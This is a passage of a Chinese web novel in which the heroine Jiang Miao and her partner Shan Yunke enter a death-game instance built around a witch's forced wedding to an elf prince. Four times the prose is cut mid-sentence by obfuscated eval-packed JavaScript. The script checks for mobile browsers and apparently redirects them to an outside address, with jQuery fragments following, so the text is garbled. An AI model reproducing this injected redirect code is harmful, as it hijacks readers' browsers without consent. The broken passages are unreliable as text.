【当你阅读到这封邮件时,说明你已经顺利完成了你的第一个副本,迎来了结束每个副本之后都会有的休息时间。为保证玩家们可以以最佳状态进入下一场游戏,我将休息时间设定为了48小时。在这48小时内,你可以选择在你的专属房间内休息,也可以选择前往大厅去偶遇曾与你并肩作战的队友们。(温馨提示:前往游戏大厅的按钮就在初始房间内。)当然,如果以上两种方案你都不满意,你也可以选择提前结束休息时间进入下一个副本。总之,祝你游戏愉快,活到最后!】
队友吗?
姜渺想起了不少人,但在她脑海里停留最久的只有单云轲。
三个副本之后,玩家们才有机会再次相遇,那不就正遂了他的愿,能让他躲得她远远的了?
姜渺不允许。
她打开当初抽到中立守护者身份牌时系统给她发的那个邮件,点击“我要许愿”。
【再次提醒您,不可许愿直接脱离游戏。一旦您许的愿与脱离游戏相关,您的许愿机会将直接作废。许愿后一经确认就不能更改,您确定您许下的愿望是这个吗?】
姜渺眉眼弯弯地看着自己写下的那句话,按了“确定”。
【好的,正在为您审核您的愿望……】
【审核成功,您的许愿有效,您许愿的内容将在下一个副本时生效。】
许愿过后,姜渺的心情好了不止一点,以至于她就那么放松地倚在墙上休息,同时继续阅读最后一封未读邮件,完全没注意到自己身后是不是存在着前往游戏大厅的按钮。
一道白光闪过,她落在了游戏大厅内。
姜渺:……
也罢,她对周边环境安静与否没有要求。
姜渺随遇而安,继续阅读邮件。
【游戏大厅:
这是一封本该在你进入游戏时就发给你的邮件,但我预想到你那时应该会为别的事烦心,而不会有时间去注意这封科普游戏大厅的邮件,所以我选择了现在这个时间点。我应该为我的决策而感到庆幸,没有对这些第一次副本都活不下来的玩家浪费口舌,去介绍他们根本来不及享受的一切。
接下来是正式科普。
游戏大厅,顾名思义,是玩家们的一个交流区。
虽然你也可以邀请其他玩家去你的房间交流,但初始房间只限两人同在,升级到最高级的房间最多也只允许五人同在。首先,你们不会有那么多闲积分来升级房间的,其次玩家们之间信任稀薄,游戏大厅不允许玩家们互相残杀,房间内却是法外之地,他们不会同意进入你的房间。
所以玩家们更多的都会选择用积分买个隔音罩在游戏大厅交流。
但是有一点要提醒你,整个蓝星都被《神明已闭眼》侵占,一个游戏大厅内是不可以同时包含所有玩家的。玩家们出副本时进入的游戏大厅是随机的,因此告知你休息时间那条邮件里才会说是“偶遇”。
当然你也可以选择用你雄厚的积分资源让我为你打破这条原则,在积分商城购买传送卡后,写上你曾经匹配到过的队友名字,就可以传送到他的身边。但请记得,一定是真实姓名,如果你被你的队友骗了,那很遗憾,传送卡将无效,同时你也无法传送到你想见的人身边。】
姜渺深深地感受到了发邮件人的恶趣味。
他反复提及着玩家们的信任问题,给玩家们洗脑他们是不可能建立信任关系的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740809|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>姜渺几乎能笃定死亡率不断提高的原因就在此处。
但无信任的合作关系也是可以成立的。
第一个副本在她的干预下只死了两个人,副本死亡率远远低于平均死亡率,还算不错,就是不知道第二个副本的时候她能否让副本死亡率变成0。
有挑战难度,但未尝不可一试。
她不是英雄,她只是见不得生命的逝去。
姜渺垂眸选择提前结束休息时间。
手环震动一下,弹出一封邮件。
【抱歉,与您绑定的玩家此刻并没有想要提前结束休息时间的意图,请您稍作等待。如果与你绑定的玩家选择提前结束休息时间,系统会通知你立即匹配,反之,您只能在休息时间结束后和与您绑定的玩家同时强制进入匹配。】
按单云轲的性子,绝对是要在游戏大厅和房间内消遣个够,磨到休息时间结束前一秒时才会选择进入下一个副本。
姜渺这么想着,她也不急了,刷着论坛等待时间消磨过。
不知道过了多久后,手环再一次震动。
【与您绑定的玩家已和您强制进入匹配。】
【正在匹配中……】
【玩家姜渺成功登入“高塔婚礼”副本。】
【因玩家已和中立阵营“守护者”身份牌永久绑定,故本局游戏跳过抽取身份牌环节,祝游戏愉快!】
姜渺睁开眼,发现自己身上穿着一件将她整个人都完全包裹起来的黑色长袍,头上还戴着足以遮挡住她半张脸的兜帽。
她扫了一眼和她一样装束的其他玩家,没认出单云轲。
于是她压了压兜帽,轻快地想:没关系,刻意吓他也不好玩,不如等他慢慢发现。
“你们终于来了!”一个尖利的声音从姜渺面前的建筑物中发出,她半抱怨道,“你们再迟来几天,我和他就生米煮成熟饭了。”
玩家们不清楚“他”是谁,只能谨慎地选择沉默。
好在,那声音的主人也不在乎这些,热情地邀请他们进去:“也是也是,你们是大忙人,肯为我赏脸就算不错的了。快进来,我已经为你们清扫好了房间。”
玩家们这才陆陆续续动起来。
姜渺边走边观察着周围的一切。
她前方是一座陈旧破败的古堡,但即使看起来已经如危房一般岌岌可危,但它透露出来的庄重阴森却让人难以忽视。
她左侧是一片浓密得仿佛阳光都透不进去的密林,隐隐约约能听见里面有奇怪的歌声。
她右侧是副本名提到过的高塔。高塔高耸入云,整体颜色是暗沉的红色,看一眼都让人觉得极为不详。
她后面……
姜渺没回头,不知道她后面是什么,但她猜测估计也是让人感觉不舒服的建筑物或者自然植被。
“一,二,三……十二!”一个身材娇小,穿着女巫袍的元气少女轻快地迎上来,用她被黑色手套包裹着的手指清点着人数,“和信里说的一分不差,果然巫师协会还是重视我的!”
19. 第十九章
进入古堡后,少女倒是没有继续保持着那种尖利的、让人一听就觉得格外悚然的声音了,她用着正常少女的清甜声音自我介绍:“我叫玛娜。虽然我们从来没有见过,但你们应该从巫师协会那里听过我的名字。我邀请你们来的目的很简单,你们只要在古堡内稍作等待,三天后参加我和精灵王子的婚礼就好了。这里人烟稀少,我和他的婚礼要是一个宾客都没有,那也太难看了。总而言之,欢迎你们的到来。”
玛娜笑容可爱,带动着头上的巫师帽一动一动的,让玩家们不由自主地就慢慢卸下了心防。
“今天天黑后我会带你们去看一看精灵王子,我的同伴们,你们简直不敢相信他是多么美丽的存在。我笃定,他就算放在美人如云的精灵王国里,他的样貌也是极为顶尖的。”玛娜说着,舔了舔干涩的唇,眼眸里散发着明亮的光芒。
接着,她又用了许多词汇来描述那位玩家们还未见到的精灵王子,直到她某一个瞬间突然发现玩家们从头至尾都没有说过一句话,才讪讪地止住了话头:“不好意思,我提起他,总是这么失态。我先带你们去看一下你们的房间吧?”
玩家中有人轻轻地“嗯”了一声。
玛娜呼出一口气,紧张局促的神色又转变成轻快,“那么,各位同伴,这边跟我来。你们来之前我把整个二楼都打扫了一遍,所以你们可以任意挑选你们喜欢的房间。不过请放心,这些房间除了位置不一样之外,并没有什么区别。只是我担心,你们万一是结伴而来的呢?”
玩家们听着玛娜的碎碎念,和玛娜上楼。
如玛娜所言,二楼全是一模一样的客房。
姜渺扫了一眼,心中选定了几个位置。
“那么,你们先选?天黑后我会来找你们。”玛娜看着仍没有开口说话的玩家们,说了这么一句话后就迅速消失在了二楼走廊口。
姜渺若有所思地看着玛娜几乎可以称得上是落荒而逃的背影。
她很害怕玩家?
姜渺不确定地推测。
尽管玛娜表现得十分友善,玩家们还是在玛娜离开后才活跃起来。
有相识的人彼此轻松又谨慎地低声交换着身份,没有交谈意向或者对住房要求格外高的人则已经在挑选着自己想要的房间。
姜渺就属于后者。
她看中的几个房间都是走廊尽头紧挨着走廊窗户的,虽然她并不确定这座古堡的窗户到底能不能看得清外面的景色,但先抢占下可能会有优势的房间总没错。
左边?右边?
姜渺稍微犹豫了一下,她左边房间的门就被一个玩家打开了。
没得选的她只能进了右边的房间。
房间内的摆设走简洁风,生活基本所需的家具物品里面都有,但该开窗的地方却被挂上一副极为抽象的画。
姜渺走近,端详了许久都没能看明白画中表达的意思是什么,只能先把这个可能的线索点掀过不提。
可除了这个最有可能是线索的画以外,姜渺再从房间里找不到第二个可以供她探索的点,想着她自从选房间时就惦记着的走廊窗户,她走出房间,却与对面房间也正往外走的玩家对视上。
对面玩家肉眼可见的不可置信,他把气顺了又顺,才忍住没有惊呼出声。
“怎么是你?!”单云轲虽然把声音压得很低很低,但他的语调还是不可避免地因为惊讶而变了形。
姜渺浅笑着和他打招呼:“真巧,没想到下次见面这么快。”
单云轲可完全不想和姜渺有巧合,他当即就想把《神明已闭眼》的匹配机制骂个狗血淋头。
不是说两个玩家匹配到相同副本的间隔时间是三个副本吗?那现在这又是什么情况?《神明已闭眼》的玩家已经缺到这个地步了?
但无论他再怎么痛骂官方,系统也不会给他解释他和姜渺为什么会连续两个副本匹配到一起。
已经倒霉惯了的他只能把这件事归结于“事与愿违”和“天要亡他”上。
“你什么身份?”姜渺默默欣赏够他五味杂陈的脸色后,才稍稍端正了游戏的态度,问。
“通灵者。”单云轲懒得挣扎,直接说了实话。
他可不会认为姜渺上局游戏那么厉害,只是因为那张中立守护者的身份牌。姜渺明显就和其他玩家的游戏态度不一样,她在副本中是那么的如鱼得水,她仿佛永远不为生死忧愁。
而只有拥有足够实力的人才能在这种死亡率极高的游戏内不为生死而忧愁。
姜渺点点头,看向窗外。
“你这局是什么身份?总不能我和你说了身份,你不和我说吧?”单云轲见姜渺只是和他单方面交换身份,忍不住问。
“守护者啊。”姜渺理所当然地回答完,才想起来单云轲并不清楚这是一张永久绑定的身份牌,于是她又补充说,“这张身份牌是永久绑定,抽到之后就不会再进入抽取身份牌的环节了。”
“最强实力和最强身份牌配在一起,别人还有的玩?”单云轲酸得直冒泡。
姜渺还在专注地观察外面的情况,闻言问:“什么?”
单云轲小幅度地摆了摆头:“没什么。我是说,我为什么没这样的好运气。”
姜渺托着腮看窗外一成不变、只偶尔随风动一下细弱树枝的密林,轻笑道:“可能你把运气用在别的事情上了吧。”
单云轲有被安慰到一点,但他细数他前半生也没能找出他有什么值得让他这么多年都是最倒霉的那一个的幸运事。
“可我也没觉得我有某件事特别幸运啊。”他小声地嘟囔着。
姜渺不理他。
单云轲也没在意。
两人就那么站在一起静静地等待天黑。
这个副本和上个副本不同,天黑时整个副本内都能感觉得到有什么不详的事在发生。
姜渺原本还在悠闲地数着落在树尖上的鸟有几只,密林里的树木就全都大幅度地抖动起来,树尖的鸟尖锐地鸣叫着离开密林的区域。她抬头看,密林上方显现出一个巨大的黑色图腾。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766312|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你来看。”她面色严肃地喊单云轲。
单云轲原本还在鼓捣着手环,闻言看向窗外,双眸瞪得圆亮:“那是什么?”
姜渺缓缓地摇了摇头。
那黑色图腾并没有存留多久,天黑时这个时刻一过,它就慢慢淡色消退了。
姜渺记下这个异样,转身看着二楼走廊口。
“我的同伴们,你们准备好了吗?”玛娜蹦蹦跳跳地来到二楼走廊口,叉着腰用魔法把她的声音送到每个玩家的耳朵里。
大多数玩家天黑前都选择待在房间内,听到玛娜的声音才纷纷打开房门。
“我已经迫不及待让你们见到他了!”玛娜清点过玩家的人数后,笑容神秘地说,“因为你们绝对会折服于他的魅力。”
玩家们还是像之前玛娜说话时一样无动于衷,但玛娜沉浸在即将要见到精灵王子的喜悦中,并没有过度关注这一点:“走吧,他在古堡左侧的高塔里住着。”
玩家们跟随玛娜走出古堡,沿着一条魔法小路走到高塔前。
“真高啊。”玛娜仰头感慨道,“我真是不敢相信之前的我竟然能建造出这么一座高塔。我的同伴们,你们来看看它是不是完全符合巫师协会的标准?当时巫师协会给我提了许多关于建筑上的苛刻要求,虽然很难以置信,但我全部完成了,这就是我的成果!不过我们这次来可不是来欣赏这个高到离谱的高塔的。同伴们请跟我来,嗯,这里有间小屋子。”
玩家们顺着玛娜指向的地方看过去。
高塔最下面有一个几乎与高塔融为一体,只有细看才能看得出来有缝隙的石门。
玛娜嘴里念叨着玩家们听不懂的咒语,从袖子里掏出一个透明的玻璃管,拔开塞子,把里面暗红色的液体泼洒到石门上。
几乎是液体刚接触到那扇石门,石门就化成了石砂,与土地融为一体。
玛娜邀请玩家们进屋:“快进来,外面空气中混杂着对身体不好的物质。这个魔法小屋怎么样?应该还算不错吧?至少能在巫师协会混一下c评级?哦不,似乎人太多了,请注意些,不要碰到那口魔法锅,里面还正在制作着魔法药水。”
姜渺跟随着其他玩家进屋,小心地避开正中心的魔法锅,不动声色地打量了一圈这个魔法小屋,发现这个魔法小屋里的魔法药水实在多,几乎每面墙前的架子上都被摆满了各种各样瓶子装着的魔法药水。
玛娜站在其中一个架子前,一边寻找着,一边念叨着:“飞行魔药,飞行魔药……对了,你们里面如果没有当初接我建造高塔申请的人,那么你们应该不清楚。为了防备其他精灵来把精灵王子抢回去,以及巫师协会的强烈要求,我没有设置上下高塔的便捷方式。也就是说,我们每一次上下高塔都要使用魔法。”
她怀里抱着十二只盛着浅蓝色液体的玻璃瓶,一瓶瓶分发给玩家们。
“但我手里的飞行魔药只有这些。”玛娜确定每个玩家都拿到了飞行魔药后,沮丧地说,“而且我手里也没有多余的制药材料。”
20. 第二十章
“没有别的办法吗?”一个身材高挑的女玩家问。
玛娜支支吾吾地从袖子里拿出一对晶莹剔透的翅膀:“如果你们能找来制作飞行魔药的材料精灵泪是最好不过了,但你们也知道的,精灵一族很少为其他的种族落泪。所以你们如果实在是没有办法,也可以直接对精灵进行狩猎,割下他们的翅膀。他们的翅膀在经过我家族流传下来的特殊魔药浸泡后,可以短暂地成为人身体上的一部分,帮助人飞行。这口魔药锅里正在熬的就是这种魔药。”
说着,玛娜小心翼翼地把翅膀放进魔药锅里。
魔药锅内的魔药在接触到翅膀的那一刻就瞬间完全包裹翅膀,将漂亮的翅膀染上浓稠粘腻的紫色。
“就像这样。”玛娜用魔法锅旁边的镊子将翅膀捞出,抖了抖已经完全被暗紫色覆盖的翅膀,没有滴落一滴魔药。
她满意地看着那对翅膀,将翅膀按在自己的背上,然后控制着翅膀扇动了几下,有点小骄傲地说:“这个魔药的制作我还是很熟练的。”
之前发问的女玩家目光落在那对就像是从玛娜背后长出来的灵活翅膀上许久后,又问:“玛娜,古堡附近的精灵好狩猎吗?”
玛娜摇摇头:“但凡是居住在精灵王国以外的精灵们都不会是个好狩猎的对象。只是这是唯一一种可以替代更难制作的飞行魔药的办法了。同伴们请相信我,就算巫师协会的会长在这里,也想不出除我家族流传下来的特殊魔药之外第二个办法。”
女玩家若有所思地隐回人群,没有再继续询问。
玛娜耐心地等了一会儿,见所有玩家似乎都已经准备好,她轻唤了一声“同伴们”:“让我带你们去见见那位之前只存在传闻中的精灵王子吧。”
单云轲和姜渺对视一眼,一齐饮下飞行魔药,操纵着瞬间变得轻飘飘的身体不断上浮至高塔顶端。
高塔顶端和最下面的那个魔法小屋是一样的构造,门也是完全隐藏在塔身之中,玩家们被引着走到门口后,又仔细观察了一番,才看出来那门在哪里。
玛娜这回念叨着的开门魔法是另外一个魔法,那门并没有湮灭成石砂,而是缓缓向内打开,逐渐显露出里面的一切摆设。
她看着如同魔法小屋一样摆在正中间的魔药锅,不好意思地挠了挠头:“有时候我在上面会待很久,待到翅膀上的魔药都完全脱落,所以我就也在这上面放了一口魔药锅。”
然而玩家们并不关注这个,他们扫了一圈没在房间内看到精灵王子,问玛娜:“精灵王子呢?”
玛娜控制着翅膀扇动,落在房间内,用一旁的棍子撬开房子角落处的一块石板,手搓了一个火焰魔法:“这么小而简陋的地方哪能用来安置锦衣玉食长大的精灵王子?下面才是精灵王子的居所。”
玩家们只好又跟随玛娜再下一层。
尽管玛娜搓了一个火焰魔法,玩家们却是不会使用魔法的,只能一行十二人全部借着玛娜的火焰光芒,因而玩家们走到一半才觉出脚下的梯子不太对劲。
似乎有些过于华丽?
完全进入下一层后,玩家们在短暂的眩晕后终于重获光明。
他们打量了几眼这间绝对不输于他们之前曾经历过的皇室副本里最受宠妃子寝宫的装潢,暗暗惊叹玛娜对精灵王子的用心。
只是这间卧室里还是没有精灵王子。
玛娜这回没等玩家们询问,就急急地走到角落,将装饰花盆移开,打开通往下一层的通道。
“精灵王子被我掳来前毕竟都过的是极其奢华的生活,所以我就在设计高塔内部空间用途上稍微那么参照了一些精灵王室的构造。”玛娜心虚地和玩家解释。
“你往下拓展了几层?”有玩家问她。
玛娜垂着头,话语像是从牙缝间挤出来一样细小低微:“带上这层,一共六层。”
玩家们无言。
精灵王子在这儿除了见不到阳光外还过得挺好。
“总之,同伴们,你们在这里稍等我几分钟,我去找他。”玛娜利索地跳进通道。
没过几秒,她又把头探出来:“请千万不要碰这间卧室里的任何东西。他有很严重的洁癖,万一他生气了,很难办的。”
正蠢蠢欲动,打算好好查探一番卧室的玩家们熄了火,面上装着不屑于碰精灵王子物品的样子,送走了不太放心的玛娜。
“她走远了?”片刻,一个玩家开口问。
“走远了,梦安你不用对她那么警惕,她看起来并没有任何攻击力。”另一位玩家搭上台梦安的肩,仿若没有骨头一般依附着台梦安站立。
台梦安瞪她一眼,拉她走到角落说悄悄话。
其他玩家也开始或讨论刚才得知的线索,或在这间卧室里寻找线索。
姜渺不想翻动有洁癖的精灵王子的东西,拉过正要去探查线索的单云轲,站在离通道最近的地方假装沟通线索。
单云柯:?
他压低声音和姜渺说:“我要去找线索的啊。”
姜渺蹲下身,用手指在地上划着圈,懒懒地回他:“不急。”
单云轲觉得他还是有点急的,转身就要继续去加入寻找线索的队伍中去,却又被姜渺拉住了。
这回姜渺没松手,她就那么用一根手指虚虚勾住单云轲的袖口,似乎只是最为无力的挽留,但单云轲完全不敢无视姜渺的这个动作而离开。
“你到底要做什么?”他问。
姜渺:“不做什么,休息一会儿。”
单云轲一口气差点没上来。
副本之间又不是没给休息时间,而且她这样子也不像是需要休息的样子啊?都是中立阵营,她到底为什么一直阻止他寻找线索?单纯把他当消遣吗?
姜渺余光见单云轲在悄无声息地气急败坏,唇角无声地勾起一个浅淡的笑:“嘘,你听,下面其实是有声音的。”
一听到有线索,单云轲秒变脸,和姜渺一起蹲下,可他仔细听了半天也没听到有什么动静。
正当他要质疑姜渺的判断时,玛娜的声音响起:“塔特尔!你到底在生什么气?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774736|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我没有生气。”塔特尔沉默了很久,才给予玛娜回应。
玛娜安抚他:“如果你不愿意成婚,我不会强迫你,我会放你走。但宾客都来了,塔特尔,给我个面子。”
塔特尔的声音突然拔高:“和这个没有关系,你不要再说了,我愿意去见你那些所谓的同伴。”
玛娜似乎没能听出塔特尔声音里带着浓重疲惫的妥协,惊喜地问:“真的吗?塔特尔,我就知道,你是心地最善良的精灵。”
“我不是。”塔特尔反驳,“玛娜,请你不要私自把这些印象放在我身上,总之,先去见你那些同伴。”
“他们要上来了。”单云轲扭头和姜渺说。
姜渺点头,起身和单云轲远离通道口。
“我觉得他们之前的感情很……很奇怪。”单云轲纠结着恰当的形容词,说。
“我不知道,我没有谈过恋爱。”姜渺对玛娜合精灵王子塔特尔之间的感情纠纷不作评价。
“我也没有谈过恋爱啊。”单云轲小声嘟囔,“难道这个线索只能由感情高手来发掘?”
姜渺没理他。
只刚才那三言两语、模糊不清的对话,她已经提取出了一点和玛娜和塔特尔之前感情纠纷无关的其他线索,只不过还需要后期验证。
但她有预感,她听到的线索,恐怕又是与主线无关、存在于支线内的线索。
“很抱歉让各位久等了,我找到精灵王子了。”玛娜唇角弧度明显地笑着,将塔特尔拉上来。
玩家们有些失语地看着塔特尔。
玛娜没有说谎,塔特尔的样貌确实是一顶一的漂亮。
无论是他被拢到胸前的白色小卷发,还是他长而卷翘的白色睫毛以及睫毛之下的那双清透干净的白眸,又或是长而尖的精灵耳和他看着面前这么多巫师而露出的青涩局促表情都让在场的七个女人格外心动。
场上一共八个女人。
嗯,姜渺是那个例外。
单云轲偷偷地窥着姜渺的神色,发现她看着绝对称得上是绝色的塔特尔,脸上却没有任何波动。
玛娜是最先回过神的那一个,她带着些炫耀的心思扫过在场所有女性:“怎么样?我没骗你们吧?”
塔特尔似乎是习惯了玛娜对他样貌的展示,闻言并没有露出什么抗拒的表情,只是他相对于玩家们这些陌生的人还是更亲近玛娜些,他感受着女玩家们向他投来的欣赏目光,不适地往玛娜身后躲了躲。
玛娜安抚地握了一下塔特尔的手,将玩家们的视线遮挡完全:“同伴们,精灵王子的样貌很有特征,我相信你们已经记住了他的样貌。所以,我能拜托你们一件事吗?”
单云轲和姜渺没有选择阵营,无从得知正义阵营和邪恶阵营的主线任务是什么,他们只能根据其他玩家脸上的表情来大致判断主线任务的内容。
“精灵王子毕竟是被我掳来的,婚礼前夕,精灵们肯定会来试图抢走他。我需要你们保护好精灵王子,帮助我完成这场我期待已久的婚礼。”
21. 第二十一章
塔特尔站在玛娜身后,他垂着眸,听到这直白到过分的话也没有动一下身体,玩家们看不清他脸上的表情。
玛娜说出的那句话基本上是把主线任务摆在了明面,姜渺和单云轲思量着,心底差不多都对主线任务有了个数。
许久之后,玩家中有人开口:“我们来正是为了此事。”
玛娜得到承诺,呼出一口气,唇角勾出一个浅浅的微笑:“我相信巫师协会。”
随着玩家们在高塔内停留的时间越来越久,塔特尔的身体越来越紧绷。
姜渺注意着他手指蜷缩着碰了一下玛娜的腰,然后揪住了那片布料。
玛娜感觉到他的动作,轻拍了一下他的手,转头和玩家们说话:“精灵王子自从住在这高塔上之后精神状态一直不太好,我们下去再接着聊。”
玛娜翅膀上的颜色已经掉得差不多了,她给塔特尔封好卧室上面的石板后,又给翅膀上了一层魔药,和把余下的飞行魔药全部饮尽的玩家们回到了地面。
“哦,我的同伴们,十二支飞行魔药一下子都用完了。”玛娜看着玩家们手中空荡荡的透明魔药瓶,脸上浮现出肉疼的表情,“看来你们明天就得去寻找精灵泪或者精灵翅膀了。古堡三楼是制药室和书房,你们可以随意使用。”
玩家们点头道谢。
玛娜笑着摆手:“你们是远道而来的宾客,我理当对你们开放这些,只是天黑后请一定不要去东边的密林,至于原因,你们从巫师协会来,你们应该知道的。”
说完,玛娜就打了个哈欠,去休息了。
玩家们迅速活络起来,三五成群,分好小团体,当然也有单走的,比如之前曾经发问过的那个高挑的女人,比如在分房间时就选择单走的那一两个人,再比如……姜渺。
单云轲心虚地背对着姜渺,和他插空搭上疑似邪恶阵营的玩家聊得起劲。
姜渺垂着头,不在意。
那高挑女人却误以为她在失落,走过来拍了拍她的肩:“游戏里不要对除自己之外的任何人报以信赖。林伶伶。既然他抛弃了你,那你和我一起走?”
“姜渺。”姜渺低声报了自己的名字,迅速判断林伶伶的身份。
林伶伶既然敢不交换身份就和他人同行,那么手里的身份牌绝对是一张硬自保的牌。
正义阵营硬自保的牌是裁决者;她和单云轲都是中立阵营,身处中立阵营的玩家一局游戏里只能有两个,已经满员,略过;邪恶阵营硬自保的牌是偷盗者。
那么,林伶伶不是裁决者就是偷盗者。
接下来姜渺只需要观察林伶伶推进主线任务的动态,就能准确判断出她的身份了。
私心来说,姜渺比较希望林伶伶是裁决者。
根据上个副本支线任务的套路,她这局一摸到支线任务的边,就已经看到了这个副本的结局——一定会是正义阵营获胜。
所以如果林伶伶是偷盗者的话,那就麻烦许多了。
首先,阵营不对,姜渺和她同行完全就是在浪费时间,其次如果她没猜错,中立守护者作为一张永久绑定的身份牌,应该是不可以被偷盗的,虽然说有几张身份牌偷盗者也是不可以偷盗的,但那就意味着姜渺必须要伪装成别的身份,还要确保自己的伪装滴水不漏,不然偷盗者一定会发现她身上的秘密。
不过说起这个,前一副本的玩家应该是有人推测出了她的身份,但休息时间姜渺无聊逛论坛的时候却没看到过任何讨论中立守护者被人抽到的帖子。
难道是被其他帖子压下去了?
几乎是这个想法刚成型,姜渺就将它否决了。
中立守护者身份牌即使因为一直没人都抽到,玩家们对它的热情减淡,也不应该没人关注。相反,玩家们对它的不关注来源于它形同虚设,而玩家们一旦知道它并非神话,而是真实的、可以触碰到的,则又会恢复到中立守护者身份牌刚出的时候的狂热。
因而只可能是那几个推测出她身份的人没有发帖。
可站在玩家立场上,他们对这件事缄口不言的行为很奇怪。
姜渺左想右想,想不明白,决定一会儿再去论坛上看上一看。
眼下最重要的事情是——
姜渺看着嬉皮笑脸,问林伶伶可以不可以把他也带上的裴乐生,头疼得很。
裴乐生脸上没有任何谨慎警惕的表情,也同样也没有询问两个人的身份,一看就又是一张硬自保的牌。
裁决者和偷盗者这不就齐了吗?
姜渺不信他们对彼此的身份没有猜测,她实在懒得参与他们之间的纷争。
但做决定的是林伶伶的,林伶伶两相比较,觉得还是把裴乐生留在身边她更放心些,点头答应了。
于是,这么一行有正义、有中立、有邪恶的人出发了。
玛娜在离开前提醒过玩家们不要夜晚去密林,玩家们自然不会忽视玛娜这个指引者所说的话,三人稍微一商量,就决定先去探索一下精灵泪这条线。
古堡三楼人并不少,不会有人傻到指引者都说了夜晚不要进密林,还有人觉得自己有什么光环守护偏要去闯一闯。
因而姜渺和单云轲又碰面了。
单云轲反正脸皮厚,他也不管有多少玩家看到过他与姜渺一起站在走廊窗户边交谈,就一个劲地装不认识,姜渺现在愁于待会儿怎么从林伶伶和裴乐生之间的纷争中脱身,没工夫理他,一时两人倒是格外的相安无事。
“飞行魔药格外难做啊。”裴乐生捧着一本不知道从谁那儿顺来的魔药书,拧着眉说。
林伶伶看着他不似作伪的表情,和他保持着距离,伸手讨要魔药书:“给我看看。”
裴乐生也不在意林伶伶对他避如蛇蝎,把魔药书递过去:“我没必要骗你,虽然今晚人多,这魔药书抢手得很,但迟早能轮到你手上。”
观察着两人之间的互动,姜渺彻底判断出了两人的身份,凑到林伶伶身边和她一起看。
【飞行魔药:
制药材料:精灵泪,精灵河水,精灵石
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787585|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
制药步骤:先将纯度为百分百的精灵河水煮沸,然后倒入纯度为百分百的精灵石碎屑,一定注意两者配比1:1。加入精灵石碎屑后需要不断搅拌,直至两者充分混合变得浓稠后再加入不含任何杂质的精灵泪。放入精灵泪后不再进行其他任何操作,静等精灵泪完全融化。等精灵泪完全融化后,再用魔药勺撇去上层浮沫,将魔药水转移到容器中静置。大约十分钟后,液体完全变得透亮,再将液体转移到另一个容器中二次静置,如此反复十次,可将上层液体取出装瓶。】
“一次十分钟,十次就是一百分钟,也就是说差不多要两个小时才能制作出一瓶飞行魔药。而这里只有一口魔法锅,太浪费时间了。”林伶伶面色不太好地说。
姜渺双目放空,不参与讨论。
原材料都没拿到手,在这里讨论后续制药过程完全就是在耍流氓。万一收集原材料要比制药还要浪费时间呢?
林伶伶和裴乐生也不是个傻的,被姜渺这么一冷却,也反应过来,两人对视一眼:“看来无论是正义阵营还是邪恶阵营,明天都要去寻找精灵。但玛娜并没有告诉我们精灵们要去哪儿找?”
“密林。”姜渺说。
裴乐生怀疑地看着这个从小队创建后就一直在摸鱼的人:“你怎么知道?玛娜虽然只说了密林那边天黑会有危险,但我觉得天亮也不见得安全。”
“又没人告诉过你精灵一定就全是代表着善的生物。”姜渺看着他狭长上挑、总是带笑的双眸,说,“不能片面认知,不是吗?”
“论坛里有人走过这个世界观,在这个世界观内精灵和女巫就是代表一正一恶。”裴乐生被姜渺看得背后一凉,总觉得姜渺意有所指,下意识地反驳。
“你说得对。”姜渺不和他争辩,又继续放空自己。
裴乐生被她的态度气得一噎。
林伶伶好笑地开口给两人说和:“明天天亮后去密林看一眼就知道了。如果实在担心会有危险,那就远远望一眼密林里到底是些什么东西,我们应该是来得及跑的。”
姜渺和裴乐生都表示没意见。
没有制作飞行魔药的原材料,几人留在三楼也是无济于事,于是他们约好天亮后在密林外见后,就各回了各的房间休息。
虽然说是休息,但游戏内身体是不会感觉饿,也不会感觉困的,姜渺稍微躺了一会儿后就又起身出门。
门外,单云轲抬着手臂,屈着手指作敲门状。
姜渺疑惑地看着他。
单云轲讪讪地摸了摸鼻子。
虽然是他先不想和姜渺一起行动的,但当手里掌握了线索,他第一时间想到的还是姜渺。
其他人他总觉得没有姜渺靠谱。
